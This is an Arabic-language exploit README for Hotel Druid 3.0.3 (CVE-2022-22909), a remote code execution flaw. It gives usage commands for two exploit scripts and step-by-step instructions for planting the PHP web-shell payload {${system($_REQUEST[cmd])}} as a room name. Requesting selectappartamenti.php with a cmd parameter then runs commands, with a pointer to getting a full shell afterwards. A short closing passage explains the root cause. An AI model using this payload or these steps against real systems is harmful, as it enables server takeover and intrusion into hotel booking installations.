
استغلالات لـ Hotel Druid 3.0.3 - تنفيذ التعليمات البرمجية عن بُعد (RCE) CVE-2022-22909
هذا الاستغلال سيقوم بإنشاء غرفة جديدة تحتوي على حمولة PHP الخاصة بنا كاسم للغرفة.
الاستخدام:
$ ./HotelDruidExploit.py -h

$ ./HotelDruidExploit.py -u http://127.0.0.1/hoteldruid

هذا الاستغلال سيعمل إذا كنت تعرف اسم الغرفة مسبقًا.
الاستخدام:
$ ./HotelDruidExploitRoom.py -u "http://127.0.0.1/hoteldruid" -r "abc"

1). انتقل إلى صفحة Hotel Druid.
2). انقر على Tables -> Rooms

3). في حقل Create New Room أضف كود PHP التالي، ثم انقر على Add.
{${system($_REQUEST[cmd])}}

4). سترى غرفة جديدة تحتوي على حمولتنا في حقل اسم "Room".

5). انتقل إلى الرابط أدناه وستحصل على تنفيذ الأوامر، وبعد ذلك يمكنك الحصول على شيل كامل.
http://127.0.0.1/hoteldruid/dati/selectappartamenti.php?cmd=whoami
ملاحظة: غيّر الـ IP إلى عنوان IP الخاص بالهدف الذي يعمل عليه hoteldruid.
تحدث هذه الثغرة لأن أسماء الغرف تُخزَّن داخل /var/www/html/hoteldruid/dati/selectappartamenti.php

وبما أن selectappartamenti.php هو ملف PHP، فإن أي كود PHP داخل هذا الملف سيتم تنفيذه بواسطة الخادم.